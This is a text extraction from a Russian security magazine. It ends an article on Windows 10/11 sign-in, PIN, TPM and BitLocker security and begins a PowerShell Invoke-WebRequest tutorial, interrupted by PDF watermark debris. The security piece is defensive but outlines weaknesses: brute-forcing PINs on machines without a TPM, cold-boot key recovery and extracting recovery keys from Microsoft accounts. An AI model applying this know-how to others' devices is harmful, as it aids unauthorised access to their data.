В новой версии­ ОС разработ­ чики­ героичес­ ки­ преодо­ лева­ ют­ последс­ твия­ старого­ , еще времен­ Windows 8, решения использовать­ для входа­ в систему­ логин и пароль от онлайновой­ учетной­ записи. Как можно­ обезопа­ сить­ компьютер­ от входа­ по паролю от учетной­ записи Microsoft, который зло ­ умышленник­ может подсмот­ реть­ или извлечь из твоего­ телефона­ ? Конечно­ же, запретив­ использование­ этого­ пароля для входа­ в систему­ ! Впрочем­ , пока воздержим­ ся­ от фейспал­ ма­ , благо­ разработ­ чики­ Microsoft решили проблему­ не настоль­ ко­ прямоли­ ней­ но­ .

Итак, в Windows 11 появляет­ ­ся новый тип учетных­ записей, использующих­

для авториза­ ции­ входа­ в систему­ Microsoft Account, которым не нужен пароль от онлайновой­ учетной­ записи. При использовании­ таких учеток­ для входа­ в систему­ не требует­ ся­ (да и невозможно­ ) вводить­ пароль от учетной­ записи Microsoft; вместо­ пароля использует­ ся­ PIN-код или биометричес­ кие­ данные­ подсисте­ мы­ Windows Hello (например­ , видеопо­ ток­ с сертифици­ рован­ ной­ инфракрасной­ стереока­ меры­ или данные­ датчика­ отпечат­ ков­ пальцев­ ). О том, где хранит­ ся­ PIN-код и почему такой способ­ авториза­ ции­ заметно­

безопаснее­ входа­ по паролю, расска­ ­жу дальше­ ; сейчас­ же перечислим­ дос ­ тупные в Windows 11 для обычного­ (не доменного­ ) пользовате­ ­ля способы­ входа­ в систему­ .

Учетная­ запись Microsoft Account без пароля — использует­ ­ся по умолчанию­ . Пароль для входа­ в систему­ ввести­ невозможно­ ; поддержи­ ­ вается­ вход по PIN-коду (TPM), Windows Hello или через авториза­ ­цию в приложе­ ­нии Microsoft Authenticator (онлайн).

Учетная­ запись Microsoft Account с паролем. Хеш пароля к учетной­ записи хранит­ ­ся локально­ и не защищается­ TPM. Поддержи­ ­вает­ся вход по PIN-коду (TPM), Windows Hello. Так было в Windows 10, и так остается­ при обновлении­ Windows 10 до Windows 11.

Локаль­ ­ная учетная­ запись Windows (вход по паролю). Для входа­ может использовать­ ­ся локальный­ пароль (его хеш хранит­ ­ся в системе­ ,

не защищается­ TPM), PIN (TPM) или Windows Hello.

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЗАЩИЩАЕМ КОМПЬЮТЕРЫ С WINDOWS 10 И ОСОБЕННО — С WINDOWS 11

ВКАКИХ СЛУЧАЯХ В WINDOWS 11 ИСПОЛЬЗУЕТСЯ ВХОД БЕЗ ПАРОЛЯ?

ВWindows 11 поддержи­ ­вают­ся способы­ входа­ как по паролю, так и без него.

Режим входа­ без пароля использует­ ся­ в новом типе учетных­ записей и вклю ­ чается­ по умолчанию­ как во время­ установ­ ки­ Windows 11 на новый компь ­ ютер, так и при создании­ новой учетной­ записи на компьюте­ рах­ , на которых Windows 11 была установ­ лена­ в виде обновления­ Windows 10. В то же время­ существу­ ющие­ в Windows 10 учетные­ записи, в которых для входа­ исполь ­ зовался­ пароль, остаются­ в Windows 11 в неизменном­ виде. Чтобы­ включить­ вход без пароля, пользовате­ лю­ необходимо­ выбрать­ соответс­ тву­ ющую­ опцию в настрой­ ках­ системы­ (Sign-in options).

Включение­ входа­ без пароля в Windows 11

Также­ этот способ­ входа­ можно­ активиро­ вать­ через Windows Registry.

Включение­ входа­ без пароля в Windows 11 через Windows Registry

Подыто­ жим­ :

При установ­ ­ке Windows 11 на новый компьютер­ использует­ ­ся Microsoft Account, вход без пароля.

При обновлении­ с Windows 10: использует­ ­ся тот же способ­ входа­ , что и в оригиналь­ ­ной ОС Windows 10.

Новые­ учетные­ записи, создава­ ­емые в Windows 11, установ­ ­ленной любым способом­ : использует­ ­ся Microsoft Account, вход без пароля.

Ни сам механизм BitLocker, ни политики­ шифрования­ в Windows 11 не претер­ ­ пели серьезных­ изменений­ в сравнении­ с Windows 10. После­ анонса­ Windows 11 у многих­ обозревате­ ­лей возникло­ впечат­ ­ление, что Microsoft будет шиф ­ ровать системный­ раздел­ Windows 11 так же, как это делают­ произво­ ­дите­ли смартфо­ ­нов. Ожидания­ не оправдались­ . По умолчанию­ (через BitLocker Device Encryption) шифруют­ ­ся лишь оборудо­ ­ван­ные TPM портатив­ ­ные устрой ­ ства — ноутбуки­ , планшеты­ и устройства­ «два в одном»; однако­ точно­ таким же образом­ шифрование­ включалось­ и в Windows 8, и в Windows 10. При уста ­ новке­ Windows 11 на настоль­ ­ный компьютер­ шифрование­ по умолчанию­

не включает­ ­ся; более того, чтобы­ использовать­ BitLocker, требует­ ­ся редакция­

Windows 11 Pro, Enterprise или Education. Для пользовате­ лей­ младшей­ редак ­

ции Home шифрование­ остается­ недоступным­ .

PIN-КОД ВМЕСТО ПАРОЛЯ: ЭТО ДЕЙСТВИТЕЛЬНО БЕЗОПАСНЕЙ?

Наконец­ мы добрались­ до PIN-кодов — того «нового» способа­ авториза­ ции­ , который Microsoft предлага­ ет­ использовать­ вместо­ «устарев­ шего­ и небезо ­ пасного­ » пароля. Почему — внезап­ но­ ! — авториза­ ция­ по паролю стала­ «уста ­ ревшей­ и небезопас­ ной­ »? Приведу­ информацию­ из статьи Microsoft,

вкоторой и описаны­ основные различия­ между­ подходами­ .

Азнаешь­ ли ты, что в Windows 10 также­ исполь

зуется­ (точнее­ , может использовать­ ­ся… а может и не использовать­ ­ся) модуль безопасности­ TPM 2.0? Разница­ между­ Windows 10 и Windows 11 не в масшта­ ­бах использования­ TPM (здесь я не увидел­ принципи­ ­аль­ных отличий­ ), а в том, что в Windows 11 TPM обязате­ ­лен, а в Windows 10 —

нет. Эта, казалось бы, небольшая­ разница­ при ­ водит к глобаль­ ­ным последс­ ­тви­ям в области безопасности­ при использовании­ входа­ по PINкоду вместо­ пароля. Подробно­ об этом Microsoft расска­ ­зыва­ет в следующей­ статье (на англий ­ ском).

В этой статье Microsoft высказыва­ ет­ несколь­ ко­ не вполне­ коррек­ тных­ утвер ­ ждений­ , «очевид­ ная­ » интерпре­ тация­ которых создает­ ложное­ ощущение­ безопасности­ . Разберем­ подробнос­ ти­ . Ниже приводит­ ся­ цитата из статьи (Microsoft использует­ автомати­ чес­ кий­ перевод; я сохранил­ орфографию­ ори ­ гинала­ ):

ПИН код привязан­

к устройству­

 

 

 

 

«Одно­ важное­ отличие­ между­ онлайн паролем и ПИН кодом Hello сос-­

тоит в том, что

ПИН код привязан­

к определен­

ному­

устройству­ ,

на котором он был настро­ ен­ . ПИН код не может использовать­

ся­

без конкрет­ ного­

оборудо­ вания­

. Кто то,

кто крадет­

ваш пароль

в Интернете­ , может войти­ в вашу учетную­

запись из любого места­ ,

но если он украдет­

ПИН код, им также­ придет­ ся­ украсть ваше

физическое­ устройство­ !

 

 

 

 

 

 

 

ПИН код поддержи­ вает­ ся­ оборудо­ вани­ ем­

ПИН код Hello поддержи­ вает­ ся­ микросхе­ мой­ доверенного­ плат-­ форменного­ модуля (TPM), представ­ ляющей­ собой надежный­ крип-­ тографичес­ кий­ процес­ сор­ для выполнения­ операций­ шифрования­ . Эта микросхе­ ма­ содержит­ несколь­ ко­ механизмов­ физической­ защиты для предот­ вра­ щения­ взлома­ , и вредонос­ ные­ программы­ не могут обойти­ функции­ безопасности­ TPM. Многие­ современ­ ные­ устройства­ имеют­ TPM. Windows 10, с другой­ стороны­ , имеет­ дефект, не связыва­ -­

ющий локальные­ пароли с TPM. Именно­ по этой причине­ ПИН коды » считают­ ­ся более безопасными­ , чем локальные­ пароли.

Если­ воспри­ нимать­ информацию­ букваль­ но­ , создает­ ся­ ощущение­ , будто­ PINкод — это своеоб­ разная­ панацея, всегда­ хранит­ ся­ в модуле TPM и не может быть взломан­ . Это не так. Дело в том, что Windows 10 работает­ как на компь ­ ютерах­ с модулем TPM, так и без него, причем­ пользовате­ лю­ об этом сис ­ тема не сообщает­ . Более того, даже на компьюте­ рах­ , в прошив­ ке­ которых присутс­ тву­ ет­ эмуляция­ TPM, эта эмуляция­ чаще всего­ по умолчанию­ отклю ­ чена — пользовате­ лю­ предлага­ ется­ самостоятель­ но­ зайти­ в UEFI BIOS, отыс ­ кать меню Miscellaneous и включить­ настрой­ ку­ , которая может называться­ ,

к примеру­ , Intel Platform Trust Technology (PTT). Сколько­ пользовате­ лей­ вклю ­

чит эту настрой­ ­ку, а какое количество­ оставит­ ее неизменной­ или просто­ не узнает­ о ее существо­ ­вании?

Intel Platform Trust Technology (PTT)

Если­ TPM в системе­ отсутству­ ет­ или не включен­ в UEFI BIOS, Windows 11 просто­ откажет­ ся­ от установ­ ки­ . А вот Windows 10 все равно­ предложит­ использовать­ для входа­ PIN-код, а Microsoft все так же будет убеждать­ , что этот способ­ входа­ более безопасен­ по сравнению­ с паролем. Это не так. Пароль от учетной­ записи в виде хеша все так же хранит­ ся­ на диске­ , а сам PIN-код с компьюте­ ра­ без TPM можно­ взломать­ простым­ перебором­ (циф ­ ровые PIN-коды, даже шестизнач­ ные­ , получится­ перебрать­ за считаные­ секунды­ ).

БЕЗ МОДУЛЯ TPM ВХОД В WINDOWS ПО PIN-КОДУ НЕБЕЗОПАСЕН

Совсем­ иначе­ дела обстоят­ в случае­ , если в системе­ присутс­ тву­ ет­ и акти ­ вирован­ модуль TPM 2.0 в физическом­ виде либо в виде процес­ сорной­ эму ­ ляции. Рассмот­ рим­ поведение­ системы­ в следующих­ сценари­ ях­ , которые мы протес­ тирова­ ли­ в нашей лаборатории­ .

Сценарий­ 1: система­ с Windows 10 (вход по PIN-коду) без TPM перено ­ сится­ на другой­ компьютер­ без TPM. Переносит­ ­ся физический­ диск с уста ­ новленной­ ОС. Результат­ : вход по PIN-коду срабаты­ ­вает на новом компьюте­ ­ ре так же, как и на старом­ .

Сценарий­ 2: система­ с Windows 10 (вход по PIN-коду) без TPM перено ­ сится­ на другой­ компьютер­ без TPM. Переносит­ ся­ только­ копия раздела­

с установ­ ­ленной ОС; аппарат­ ­ное обеспечение­ между­ двумя­ компьюте­ ­рами не совпада­ ­ет ни по одной позиции. Результат­ : вход по PIN-коду срабаты­ ­вает на новом компьюте­ ­ре так же, как и на старом­ .

Сценарий­ 3: система­ с Windows 10 (вход по PIN-коду) без TPM перено ­ сится­ на компьютер­ с установ­ ленным­ и активным модулем TPM. Переносит­ ся­ только­ копия раздела­ с установ­ ленной­ ОС; аппарат­ ное­ обеспечение­ между­ двумя­ компьюте­ рами­ не совпада­ ет­ ни по одной позиции. Результат­ : вход по PIN-коду срабаты­ вает­ на новом компьюте­ ре­ так же, как и на старом­ .

Сценарий­ 4: система­ с Windows 10 (вход по PIN-коду) с активным модулем TPM переносит­ ­ся на другой­ компьютер­ с активным модулем TPM. Переносит­ ­ся копия раздела­ с установ­ ­ленной ОС; аппарат­ ­ное обеспечение­

между­ двумя­ компьюте­ рами­ не совпада­ ет­ . Результат­ : вход по PIN-коду на новом компьюте­ ре­ не срабаты­ вает­ ; для входа­ требует­ ся­ пароль от учетной­ записи; для использования­ PIN-кода потребова­ лось­ удалить­ старый­ PIN и настро­ ить­ новый.

Очевид­ ­но, что только­ четвертый­ сценарий­ соответс­ ­тву­ет модели безопас ­ ности, описан­ ­ной Microsoft в статье.

МОЖНО ЛИ ИСПОЛЬЗОВАТЬ ВХОД БЕЗ ПАРОЛЯ В WINDOWS 10?

Можно­ . Но нужно­ ли?

В сентябре­ 2021 года компания­ анонсирова­ ­ла свое видение­ будущего­ без паролей. Пользовате­ ­лям очеред­ ­ной сборки­ Windows 10 предлагалось­ изменить­ настрой­ ­ки учетной­ записи Microsoft Account, запретив­ вход в нее по паролю. Такая учетная­ запись для входа­ в систему­ позволяла­ избавить­ ­ся от хранения­ хеша пароля на локальном­ компьюте­ ­ре. В то же время­ поль ­ зователь терял возможность­ войти­ в учетную­ запись Microsoft из браузе­ ­ра по логину и паролю; для успешного­ входа­ требовал­ ­ся доступ­ к доверенному­ телефонному­ номеру или ранее авторизо­ ­ван­ному устройству­ с установ­ ­ ленным на нем приложе­ ­нием Microsoft Authenticator. С учетом­ того, что дан ­ ное приложе­ ­ние доступно­ исключитель­ ­но для смартфо­ ­нов на iOS и Android (но не для компьюте­ ­ров под управлением­ Windows), целесообразность­ нововведения­ представ­ ­ляет­ся несколь­ ­ко сомнитель­ ­ной. Подробнее­ об этом можно­ прочитать­ здесь. Новшес­ ­тво не получило­ заметного­ распростра­ ­нения из за неочевид­ ­ных преиму­ ­ществ и существен­ ­ного неудобства­ исполь ­ зования.

Учетная­ запись без пароля

КАК WINDOWS ИСПОЛЬЗУЕТ TPM ПРИ АВТОРИЗАЦИИ ВХОДА В СИСТЕМУ ЧЕРЕЗ PIN

В докумен­ ­тации Microsoft описаны­ способы­ , которыми­ Windows может использовать­ аппарат­ ­ный модуль безопасности­ . Реальность­ значитель­ ­но скромнее­ : «может» не означает­ «использует­ ». Так, пароли, которые поль ­ зователь хранит­ в браузе­ ­ре Microsoft Edge, защищены­ механизмом­ DPAPI, но ключ шифрования­ хранит­ ­ся на системном­ диске­ (он зашифрован­ данными­ учетной­ записи) и не защищается­ TPM, что позволя­ ­ет извлечь эти пароли из образа­ диска­ , если известен пароль от учетной­ записи пользовате­ ­ля.

Вместо­ того чтобы­ использовать­ TPM для хранения­ все большего­ количества­ данных­ , в Microsoft попытались­ обойти­ проблему­ , предос­ тавив­ способ­ входа­ в учетную­ запись по PIN-коду и без пароля. Именно­ этот спо ­ соб — и только­ на системах­ с TPM! — позволя­ ет­ говорить о безопасности­ учетной­ записи: теперь защищенные­ DPAPI данные­ невозможно­ расшифро­ ­ вать, не войдя­ в систему­ , а войти­ в систему­ можно­ исключитель­ но­ по PIN-коду (или через Windows Hello), который будет проверять­ ся­ аппарат­ ным­ модулем TPM. Любое изменение­ в конфигура­ ции­ системы­ (как изменение­ аппарат­ ной­ части­ , так и загрузка­ с внешнего­ накопителя­ ) приведет­ к тому, что модуль TPM не отдаст нужный­ ключ и защищенные­ данные­ расшифро­ вать­ не удастся­ .

В итоге­ в оборудо­ ­ван­ных TPM системах­ с Windows 10 и Windows 11 невоз ­ можно взломать­ PIN-код, а в Windows 11 с новым типом учетных­ записей с авториза­ ­цией без пароля его невозможно­ подобрать­ или использовать­ пароль от Microsoft Account, извлечен­ ­ный из другого­ компьюте­ ­ра или учетной­ записи.

ВЫВОДЫ

Перечи­ тав­ статью, я понял, что количество­ информации­ и многочис­ ленные­ отсылки, «но», «если» и «да, но…» способ­ ны­ вскипятить­ содержимое­ череп ­ ной коробки­ не хуже, чем это делает­ документация­ Microsoft. Поэтому­ вместо­ заключения­ я хочу перечислить­ основные тезисы статьи в формате­ вопросов­ и ответов­ .

Шифрование­ системно­ ­го диска­ BitLocker безопасно­ ?

Да, если в системе­ есть (и активиро­ ван­ ) модуль TPM, Intel PTT или AMD fTPM. Для полной­ уверен­ ности­ можно­ включить­ режим шифрования­ с 256битным­ ключом­ (по умолчанию­ использует­ ся­ 128-битный­ ). Более того, политики­ безопасности­ BitLocker можно­ гибко­ настра­ ивать­ (например­ , тре ­ буя ввести­ отдельный­ PIN-код перед загрузкой­ ); об этих настрой­ ках­ я также­ планирую­ написать в одной из следующих­ статей­ .

Но ведь… уязвимос­ ­ти?

Большинс­ тво­ уязвимос­ тей­ TPM носит скорее­ теоретичес­ кий­ характер­ . Более того, они не распростра­ няют­ ся­ на програм­ мную­ эмуляцию­ в виде Intel PTT или AMD fTPM, в которых уязвимос­ тей­ не обнаруже­ но­ .

Реаль­ ­ная уязвимость­ BitLocker (как, впрочем­ , и многих­ других­ систем­ шифрования­ дисков­ в Windows) заключа­ ­ется в хранении­ ключа­ шифрования­

в оператив­ ной­ памяти компьюте­ ра­ . При использовании­ TPM системный­ раз ­ дел разбло­ киру­ ется­ в процес­ се­ загрузки­ еще до авториза­ ции­ пользовате­ ля­ (то есть до запроса­ пароля или PIN-кода). Существу­ ет­ атака­ , в ходе которой модули оператив­ ной­ памяти физически­ заморажива­ ются­ , извлекают­ ся­ , а их содержимое­ считыва­ ется­ и анализи­ рует­ ся­ . Эта атака­ действи­ тель­ но­ позволя­ ­ ет обнаружить­ ключ шифрования­ и разбло­ киро­ вать­ диск. В то же время­ такая атака­ требует­ оборудо­ ван­ ной­ лаборатории­ и работы квалифи­ циро­ ван­ ного­ специалис­ та­ ; она и подобные­ ей атаки­ используют­ ся­ исключитель­ но­ спец ­ службами­ при рассле­ дова­ нии­ особо­ важных­ дел.

За что ты так не любишь Windows 10?

А почему она продол­ жает­ работать, если в системе­ нет TPM? И ладно­ бы продол­ жала­ работать, так ведь предлага­ ет­ настро­ ить­ вход по PIN-коду вмес ­ то пароля! Для справки­ : скорость­ перебора­ паролей NTLM такова, что циф ­ ровой PIN-код, даже состоящий­ из шести­ цифр, перебирает­ ся­ за несколь­ ко­ секунд. Да, эта проблема­ решается­ включени­ ем­ TPM (тогда­ PIN-код подоб ­ рать невозможно­ ), но возника­ ет­ другая­ : в учетную­ запись Microsoft можно­ войти­ , если известен пароль от нее.

Но ведь можно­ не использовать­ учетную­ запись Microsoft?

Можно­ . Но не во всех редакциях­ Windows. И ты проигры­ ваешь­ в удобстве­ (нарушается­ пресловутый­ баланс удобства­ и безопасности­ ).

Так ведь и BitLocker доступен­ не во всех редакциях­ Windows!

С точки­ зрения­ Microsoft, пользовате­ лям­ «домашней­ » редакции­ по опре ­ делению­ «скрывать­ нечего». Если ты с этим не согласен­ — тебе поможет VeraCrypt, о котором мы поговорим­ в одной из следующих­ статей­ .

Если­ я обновлюсь на Windows 11 и зашифрую­ диск, все станет­

безопасно­ ?

Почти­ . Не забудь еще выключить­ вход в учетную­ запись по паролю; тогда­ и только­ тогда­ PIN-код будет защищен TPM. И кстати­ , прокон­ ­тро­лируй, куда конкрет­ ­но сохраня­ ­ется ключ восста­ ­нов­ления доступа­ BitLocker. Если в твою учетную­ запись Microsoft, то извлечь его оттуда­ — дело несложное­ .

А если не обновлюсь?

В принципе­ , сравнимого­ с практичес­ ­кой точки­ зрения­ уровня­ безопас ­ ности можно­ достичь­ , используя­ локальную­ учетную­ запись Windows со стой ­ ким уникаль­ ­ным паролем. В теории Windows 11 будет безопаснее­ за счет возможнос­ ­ти полностью­ отказать­ ­ся от способов­ авториза­ ­ции, не защищен ­ ных аппарат­ ­ным способом­ (TPM).

Можно­ ли взломать­ PIN?

Да, можно­ — если в системе­ нет (или не активиро­ ­ван) TPM. Если же TPM активен­ , то аппарат­ ­ный модуль будет ограничи­ ­вать скорость­ перебора­ ,

ачерез какое то время­ заблокиру­ ет­ дальнейшие­ попытки­ .

Аесли у меня нет TPM?

Если­

твой

компьютер­

оснащен­

процес­ сором­

Intel 8-го

поколения­

или более новым либо AMD Zen или более новым, то, вероятнее­

всего­ , фун ­

кциональ­

ность­

TPM у тебя есть в виде эмулято­

ра­ (Intel PTT, AMD fTPM), просто­

не включена­

в UEFI BIOS. Найди­ и включи­ .

 

 

 

 

 

Если­ же у тебя более старый­

компьютер­

, то есть варианты­

. О них я пла ­

нирую написать в следующей­

статье.

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Андрей Попов andpop@mail.ru

ПИШЕМ HTTP-ЗАПРОСЫ И ПАРСИМ СТРАНИЦЫ НА POWERSHELL

В интернете­ есть множес­ тво­ сервисов­ , с которыми­ можно­ работать, обращаясь­ к их ресурсам­ по протоко­ лу­ HTTP. Веб разработ­ чики­ постоян­ но­ работают­ с такими HTTP-зап ­ росами для доступа­ к функци­ ям­ внешних­ API или для тес ­ тирования­ собствен­ ных­ приложе­ ний­ . PowerShell для обра ­ щения к вебу по HTTP предлага­ ет­ два стандар­ тных­ коман ­

длета­ : Invoke-WebRequest и Invoke-RestMethod.

КОМАНДЛЕТ INVOKE-WEBREQUEST

С помощью командле­ та­ Invoke-WebRequest можно­ направить­ веб серверу­ HTTP-запрос­ и получить от него ответ.

Анализ HTML-страниц

Этот командлет­ хорошо подходит­ для анализа­ HTML-страниц­ . Еще он умеет­ сохранять­ страницы­ на локальном­ диске­ . В этом он похож на консоль­ ­ную ути ­ литу wget и даже имеет­ такой псевдоним­ :

PS C:\Script> Get-Alias

wget

 

 

 

CommandType

Name

 

-----------

----

 

Alias

wget ->

Invoke-WebRequest

Обратим­ ся­ с помощью Invoke-WebRequest к какой нибудь простой­ стра ­

нице, например­ Example Domain.0

По умолчанию­ Invoke-WebRequest выполняет­ HTTP-запрос­ с методом GET к ресурсу­ на веб сервере­ , адрес ресурса­ указыва­ ­ется в качестве­ значения­ параметра­ -Uri. В результате­ возвра­ ­щает­ся объект­ типа HtmlWebResponseObject, в котором хранит­ ­ся информация­ об ответе­ сер ­ вера:

PS C:\Script> $web = Invoke-WebRequest -Uri https://example.com/

index.html

PS C:\Script> $web | Get-Member

TypeName: Microsoft.PowerShell.Commands.HtmlWebResponseObject

. . .

PS C:\Script> $web

StatusCode

: 200

StatusDescription

: OK

Content

: <!doctype html>

<html>

<head>

 

<title>Example Domain</title>

 

 

 

 

 

 

<meta charset="utf-8" />

 

 

 

 

<meta http-equiv="Content-type" content=

 

"text/html; char

 

 

 

 

 

 

 

set=utf-8" />

 

 

 

 

 

<meta name="viewport" conten...

 

RawContent

: HTTP/1.1 200 OK

 

 

 

 

 

Age: 497890

 

 

 

 

 

Vary: Accept-Encoding

 

 

 

 

 

X-Cache: HIT

 

 

 

 

 

Content-Length: 1256

 

 

 

 

 

Cache-Control: max-age=604800

 

 

 

 

Content-Type: text/html; charset=UTF-8

 

 

Date: Mon, 12 Jul 2021 16:05:14 GMT

 

 

Exp...

 

 

 

 

 

Forms

: {}

 

 

 

 

 

Headers

: {[Age, 497890], [Vary, Accept-Encoding], [X-Cache

 

, HIT], [Co

 

 

 

 

 

 

 

ntent-Length, 1256]...}

 

 

 

Images

: {}

 

 

 

 

 

InputFields

: {}

 

 

 

 

 

Links

: {@{innerHTML=More information...; innerText=More

 

information

 

 

 

 

 

 

 

...; outerHTML=<A href="https://www.iana.org/

 

domains/example

 

 

 

 

 

 

 

">More information...</A>; outerText=More

 

information...; ta

 

 

 

 

 

 

 

gName=A; href=https://www.iana.org/domains/

 

example}}

 

 

 

 

 

 

ParsedHtml

: mshtml.HTMLDocumentClass

 

 

 

RawContentLength

: 1256

 

 

 

 

 

В поле StatusCode содержится­

код ответа­ от сервера­

(200 для нашего при ­

мера), в поле StatusDescription — тексто­ вое­

описание­

этого­ ответа­ (OK).

Современ­ ный­ PowerShell. Андрей Попов

Эта статья — глава­ из книги­ Андрея Попова «Современ­ ный­ PowerShell», вышедшей­ в издатель­ стве­ «БХВ» в марте­ этого­ года. В книге­ подробно­ опи ­

сан язык PowerShell и работа с оболоч­ кой­ Windows PowerShell в Windows Terminal, взаимо­ дей­ ствие­ с файловой­ системой­ , структуриро­ ван­ ными­ дан ­ ными и веб ресурсами­ . Автор разбира­ ет­ управление­ процес­ сами­ , службами­

и серверами­ автомати­ ­зации, расска­ ­зыва­ет, как создать­ GUI для сценари­ ­ев Windows PowerShell, уделяет­ внимание­ кросс платформен­ ­ным возможнос­ ­тям

PowerShell в macOS и Linux.

Если­ ты админис­ ­три­руешь рабочие станции­ , серверы­ или локальные­ сети под управлением­ Windows, книга­ «Современ­ ­ный PowerShell» поможет тебе освоить­ секреты­ и хитрости­ этой технологии­ и автомати­ ­зиро­вать множес­ ­тво рутинных­ задач.

Содержимое ответа от сервера и HTTP-заголовки

Содер­ жимое­ ответа­ от сервера­ хранит­ ся­ в виде строки­ в поле Content. В нашем случае­ здесь будет записан HTML-код:

PS C:\Script> $web.Content

<!doctype html>

<html>

<head>

<title>Example Domain</title>

<meta charset="utf-8" />

<meta http-equiv="Content-type" content="text/html;

charset=utf-8" />

<meta name="viewport" content="width=device-width,

initial-scale=1" />

<style type="text/css">

body {

background-color: #f0f0f2;

margin: 0;

padding: 0;

font-family: -apple-system, system-ui, BlinkMacSystemFont,

"Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial,

sans-serif;

}

div {

width: 600px;

margin: 5em auto;

padding: 2em;

background-color: #fdfdff;

border-radius: 0.5em;

box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);

}

a:link, a:visited {

color: #38488f;

text-decoration: none;

}

@media (max-width: 700px) {

div {

margin: 0 auto;

width: auto;

}

}

</style>

</head>

<body>

<div>

<h1>Example Domain</h1>

<p>This domain is for use in illustrative examples in documents.

You may use this

domain in literature without prior coordination or asking for

permission.</p>

<p><a href="https://www.iana.org/domains/example">More

information...</a></p>

</div>

</body>

</html>

В поле RawContent записывает­ ся­ полный­ ответ от сервера­ с HTTP-заголов ­ ками в начале:

PS C:\Script> $web.RawContent

HTTP/1.1 200 OK

Age: 497890

Vary: Accept-Encoding

X-Cache: HIT

Content-Length: 1256

Cache-Control: max-age=604800

Content-Type: text/html; charset=UTF-8

Date: Mon, 12 Jul 2021 16:05:14 GMT

Expires: Mon, 19 Jul 2021 16:05:14 GMT

ETag: "3147526947+ident"

Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT

Server: ECS (dcb/7F83)

<!doctype html>

<html>

<head>

<title>Example Domain</title>

. . .

Заголов­ ки­ ответа­ тоже хранят­ ся­ отдельно­ — в виде хеш таблицы­ в свойстве­ headers:

PS C:\Script> $web.headers

 

Key

Value

 

 

 

 

 

 

---

-----

 

 

 

 

 

 

Age

497890

 

 

 

 

 

 

Vary

Accept-Encoding

 

 

 

 

 

X-Cache

HIT

 

 

 

 

 

 

Content-Length

1256

 

 

 

 

 

 

Cache-Control

max-age=604800

 

 

 

 

 

Content-Type

text/html; charset=UTF-8

 

 

 

Date

Mon, 12 Jul 2021 16:05:14 GMT

 

 

 

Expires

Mon, 19 Jul 2021 16:05:14 GMT

 

 

 

ETag

"3147526947+ident"

 

 

 

 

Last-Modified

Thu, 17 Oct 2019 07:18:26 GMT

 

 

 

Server

ECS (dcb/7F83)

 

 

 

 

Сохранение веб-ресурсов

 

 

 

 

 

Для сохранения­

ответа­ от сервера­

в виде локального­

файла­ надо при вызове

Invoke-WebRequest использовать­

ключ -OutFile и указать­

путь к нужному­

файлу­ . Например­

, сохраним­

страницу­

https://example.com/index.html

в файле­ page.html в текущем каталоге­ :

 

 

 

PS C:\Script> Invoke-WebRequest -Uri https://example.com/index.html

-OutFile page.html

Проверим­ содержимое­ файла­ page.html и убедим­ ­ся, что в нем записана­ HTML-разметка­ сохранен­ ­ной страницы­ :

PS C:\Script> type .\page.html

<!doctype html>

<html>

<head>

<title>Example Domain</title>

<meta charset="utf-8" />

<meta http-equiv="Content-type" content="text/html;

charset=utf-8" />

<meta name="viewport" content="width=device-width,

initial-scale=1" />

<style type="text/css">

body {

background-color: #f0f0f2;

margin: 0;

padding: 0;

font-family: -apple-system, system-ui, BlinkMacSystemFont,

"Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial,

sans-serif;

}

div {

width: 600px;

